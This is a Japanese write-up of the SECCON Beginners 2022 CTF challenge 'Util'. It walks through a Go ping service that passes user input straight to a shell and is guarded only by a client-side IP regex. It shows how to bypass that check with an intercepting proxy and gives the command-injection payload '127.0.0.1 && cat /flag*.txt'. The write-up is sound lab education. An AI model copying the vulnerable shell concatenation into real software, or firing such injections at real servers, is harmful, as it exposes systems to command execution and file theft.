SECCON ctf4b 2022
21 Util Write up
クソ雑魚ナメクジエンジニアによるUtil の解法を...
フラグの場所
Dockerfile
を見ると、/
以下にflag_XXXXXXX.txt
という名前で保存されていることが分かる。
サーバーは go
言語で書かれている
package main
import (
"os/exec"
"github.com/gin-gonic/gin"
)
type IP struct {
Address string `json:"address"`
}
func main() {
r := gin.Default()
r.LoadHTMLGlob("pages/*")
r.GET("/", func(c *gin.Context) {
c.HTML(200, "index.html", nil)
})
r.POST("/util/ping", func(c *gin.Context) {
var param IP
if err := c.Bind(¶m); err != nil {
c.JSON(400, gin.H{"message": "Invalid parameter"})
return
}
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
c.JSON(200, gin.H{
"result": string(result),
})
})
if err := r.Run(); err != nil {
panic(err)
}
}
ここ
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
POSTリクエストのAddress
に入れたものをサーバーサイドでそのまま実行しているみたい。
実際に普通にブラウザから攻撃すると Invalid IP address
とでてきて攻撃できない
フロントエンド部分ではじかれている気がする。
ということでHTMLはこう
<!DOCTYPE html>
<html lang="ja">
<head>
<title>Ping check</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css">
</head>
<body>
<div class="container">
<section class="hero">
<div class="hero-body">
<nav class="breadcrumb" aria-label="breadcrumbs">
<ul>
<li><a href="#">Util</a></li>
<li class="is-active"><a href="#" aria-current="page">Ping check</a></li>
</ul>
</nav>
<p class="title">Ping check</p>
</div>
</section>
<section class="px-5">
<div class="field">
<label class="label">IP address</label>
<div class="control">
<input id="addressTextField" class="input" type="text" name="address" placeholder="127.0.0.1">
</div>
</div>
<div class="control">
<button id="submit" type="submit" class="button is-link">check</button>
</div>
<div id="notify" class="mt-3"></div>
</section>
</div>
<script>
function send() {
var address = document.getElementById("addressTextField").value;
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
var json = {};
json.address = address
var xhr = new XMLHttpRequest();
xhr.open("POST", "/util/ping");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(json));
document.getElementById("notify").innerHTML = "<p>sending...</p>";
xhr.onload = function () {
if (xhr.status != 200) {
document.getElementById("notify").innerHTML =
"<p>Request Error : " + xhr.response + "</p>";
} else {
document.getElementById("notify").innerHTML =
"<pre><code>" + JSON.parse(xhr.response).result.replaceAll("\n", "<br />") + "</code></pre>";
}
};
} else {
document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
}
}
var init = function () {
var btn = document.getElementById("submit");
var popup = function () {
send();
};
btn.addEventListener("click", popup, false);
};
window.addEventListener("load", init, false);
</script>
</body>
</html>
特にJSの送信ボタンの動作を見てみる。(抜粋)
<script>
function send() {
var address = document.getElementById("addressTextField").value;
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
var json = {};
json.address = address
var xhr = new XMLHttpRequest();
xhr.open("POST", "/util/ping");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(json));
document.getElementById("notify").innerHTML = "<p>sending...</p>";
xhr.onload = function () {
if (xhr.status != 200) {
document.getElementById("notify").innerHTML =
"<p>Request Error : " + xhr.response + "</p>";
} else {
document.getElementById("notify").innerHTML =
"<pre><code>" + JSON.parse(xhr.response).result.replaceAll("\n", "<br />") + "</code></pre>";
}
};
} else {
document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
}
}
var init = function () {
var btn = document.getElementById("submit");
var popup = function () {
send();
};
btn.addEventListener("click", popup, false);
};
window.addEventListener("load", init, false);
</script>
ふ~ん。エッチじゃん。特にフロントエンド側でバリデーションしているのがエッチ。(バックエンドでもバリデーションを行いましょう)
競技者としてはサーバーサイドではバリデーションしているのにバックエンドのリクエストはバリデーションはさんでいない事に注目。
攻撃
Burp suite とか OWASP ZAP とかで串はさんでリクエスト改ざんしてみましょう
攻撃コードは 127.0.0.1 && cat /flag*.txt
と予測
プロキシはさんで解きましたが、curl で解く方法や、Postman で解く方法もあるみたいです。